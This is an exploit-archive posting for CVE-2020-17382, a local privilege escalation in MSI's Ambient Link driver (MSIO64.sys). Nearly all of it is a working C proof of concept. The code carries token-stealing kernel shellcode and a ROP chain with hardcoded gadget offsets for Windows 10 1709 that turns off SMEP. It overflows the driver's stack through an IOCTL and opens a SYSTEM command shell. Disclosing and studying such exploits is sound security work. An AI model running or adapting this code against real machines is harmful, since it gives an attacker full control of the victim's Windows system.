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MSI Ambient Link Driver 1.0.0.8 Privilege Escalation

MSI Ambient Link Driver 1.0.0.8 Privilege Escalation
Posted Sep 28, 2020
Authored by Matteo Malvica

MSI Ambient Link Driver version 1.0.0.8 suffers from a local privilege escalation vulnerability.

tags | exploit, local
advisories | CVE-2020-17382
SHA-256 | d3812dcad998d0f840196864aac543b840cbaf34007890de731a2ca9e42a75b2

MSI Ambient Link Driver 1.0.0.8 Privilege Escalation

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/*
Exploit Title: MSI Ambient Link Driver 1.0.0.8 - Local Privilege Escalation
Date: 2020-09-24
Exploit Author: Matteo Malvica
Vendor Homepage: https://www.msi.com
Software Link: https://msi.gm/ABLTMNB
Driver: MSIO64.sys
SHA256: 525D9B51A80CA0CD4C5889A96F857E73F3A80DA1FFBAE59851E0F51BDFB0B6CD
Version: 1.0.0.8
Tested on: Windows 10 1709 [19041.1.amd64fre.vb_release.191206-1406]
MSI Ambient Link Driver 1.0.0.8 Kernel Stack Based Buffer Overflow / Local Privilege Escalation
CVE: CVE-2020-17382
Writeup: https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/
Original advisory: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities
*/

#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h>

#pragma warning( disable : 6387 )

VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) {
// SHELLCODE FOR 1709
BYTE token_steal[] =
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)
"\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list
//find_system_proc:
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process
"\x74\x05" // jz found_system ; Found SYSTEM token
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
"\xEB\xF1" // jmp find_system_proc ; Loop
//found_system:
"\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
//find cmd
"\x48\x8B\x51\xF8" // mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
"\x48\x81\xFA\x99\x99\x00\x00" // cmp rdx, 0d54h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
"\x74\x05" // jz found_cmd ;YES - move on
"\x48\x8B\x09" // mov rcx, [rcx] ;NO - next entry in list
"\xEB\xEE" // jmp find_cmd ;loop
// found cmd
"\x48\x89\x41\x70" // mov [rcx+70h], rax ;copy SYSTEM token over top of this process's token
"\x48\x31\xc9" // xor rcx rcx ; clear some registers to avoid issues while unwinding the call stack
"\x48\x31\xc0" // xor rax rax
"\x48\x31\xf6" // xor rsi,rsi
"\x48\x31\xff" // xor rdi, rdi
"\x4D\x31\xC0" // xor r8, r8
"\x48\xc7\xc1\xf8\x06\x15\x00" // mov rcx, 0x1506f8 ; move original cr4 value into rcx
"\xc3"; // ret ; RET

token_steal[54] = pid;
token_steal[55] = pid >> 8;

LPVOID allocated_shellcode = VirtualAlloc(NULL,
sizeof(token_steal),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

memcpy(allocated_shellcode, token_steal, sizeof(token_steal));

INT64 pop_rcx_offset = kernel_base + 0x15fc70; // gadget 1 1709 - pop rcx ; ret
INT64 mov_cr4_offset = kernel_base + 0x76a02; // gadget 2 1709 - mov cr4, ecx ; ret
INT64 wbindv_offset = kernel_base + 0x1175c0;; // gadget 3 1709 - wbinvd; ret
INT64 rcx_value = 0x506f8; // value we want placed in cr4 in order to disable SMEP
INT64 rcx_old_value = 0x1506f8; // original cr4 value
INT64 ret = pop_rcx_offset + 1; // RET NOP

puts("[+] SMEP disabled");

BYTE input_buff[136] = { 0 };
memset(input_buff, '\x41', 64);
memset(input_buff, '\x42', 8); // dummy RBP
memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 80, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8); // wbinvd; ret
memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode
memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx
memcpy(input_buff + 120, (PINT64)&ret, 8); // RETNOP to restore the stack
memcpy(input_buff + 128, (PINT64)&ret, 8); // RETNOP to restore the stack

printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode);

DWORD lpBytesReturned = 0x0;
BOOL triggerIOCTL = DeviceIoControl(hFile,
IoControlCode,
input_buff,
sizeof(input_buff),
NULL,
0,
&lpBytesReturned,
NULL);

if (!triggerIOCTL) {
printf("[!] DeviceIoControl failed: %d\n", GetLastError());
}
else {
puts("[+] SMEP re-enabled");
puts("[+] Enjoy your SYSTEM shell\n");
}

system("start cmd.exe");
}

LPVOID GetBaseAddr(const char* drvname) {
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;

if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
char szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++) {
if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
if (strcmp(szDrivers, drvname) == 0) {
return drivers[i];
}
}
}
}
return 0;
}

HANDLE GetDriverHandle() {
HANDLE hMsio;

hMsio = CreateFileA("\\\\.\\MsIo",
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);

if (hMsio == INVALID_HANDLE_VALUE) {
printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError());
exit(1);
}

return hMsio;
}

int main() {
puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica");
DWORD IoControlCode = 0x80102040;
HANDLE hDevice = GetDriverHandle();
INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe");
DWORD pid = GetCurrentProcessId();

eopMsio(hDevice, nt, pid, IoControlCode);

return 0;
}
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